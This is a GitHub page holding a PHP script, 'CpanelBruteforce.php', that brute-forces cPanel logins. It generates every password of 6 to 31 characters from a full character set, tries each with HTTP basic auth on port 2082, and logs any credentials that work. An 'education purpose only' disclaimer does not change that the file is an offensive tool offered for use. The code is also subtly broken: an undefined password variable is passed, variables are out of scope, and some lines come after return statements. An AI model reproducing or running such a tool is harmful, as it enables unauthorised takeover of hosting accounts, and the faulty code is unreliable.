-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathCpanelBruteforce.php
79 lines (68 loc) · 2.42 KB
/
CpanelBruteforce.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
error_reporting(0);
echo "\n___________ __ __ ";
echo "\n\_ _____/__ _________ | | ____ __ _| |__ ";
echo "\n | __)_\ \/ /\____ \| | / _ \| |/_ _/ ";
echo "\n | \> < | |_> > |_( <_> ) | | |__ ";
echo "\n/_______ /__/\_ \| __/|____/\____/|__| \____/ ";
echo "\n \/ \/|__| ";
echo "\nFor education purphose only, If you do not agree, ";
echo "\nplease remove.\n";
echo "\nCredit jangan dibuang mas bro\n";
function logs($reason,$ext = "txt"){
if(!is_dir("files")):mkdir("files","0493");
endif;
$fp = fopen("files/".date("m-d-y").".".$ext, "a+");
fwrite($fp, "**|cpanel|".date("g:i:sA")."|".$reason."|\n");
}
function cpanel_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://".$host.":2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, $user.":".$pass);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
return "Request Time Out";
exit;
}
elseif ( curl_errno($ch) == 0 ){
return $user.":".$pass;
logs($user.":".$pass,"txt");
exit() ;
}
curl_close($ch);
}
if(isset($_SERVER['argv'][1])){
$host = $_SERVER['argv'][1];
$username = $_SERVER['argv'][2];
echo "\nBrute Force";
echo "\n".$_SERVER['argv'][1];
$charset = "1234567890";
$charset .= "abcdefghijklmnopqrstuvwxyz";
$charset .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$charset .= " ~!@#$%^&*()_+|`\={}[]:;'<>,./?";
$charset_length = strlen($charset);
function check($string,$host,$username){
echo "\n".$host. " => ". $string ;
cpanel_check($host,$username,$password,"3600");
}
function recurse ($width,$position,$base_str,$str){
global $charset, $charset_length ;
for ($i = 0 ; $i < $charset_length ; $i++) {
if ($position < $width - 1){
recurse($width,$position+1,$base_str.$charset[$i],$str);
};
check($base_str.$charset[$i],$host,$username);
}
}
for ($i = 6 ; $i < 32 ; $i++) {
recurse($i,0,"",$str);
}
} else {
echo "\nNeed Help???";
echo "\n";
}
?>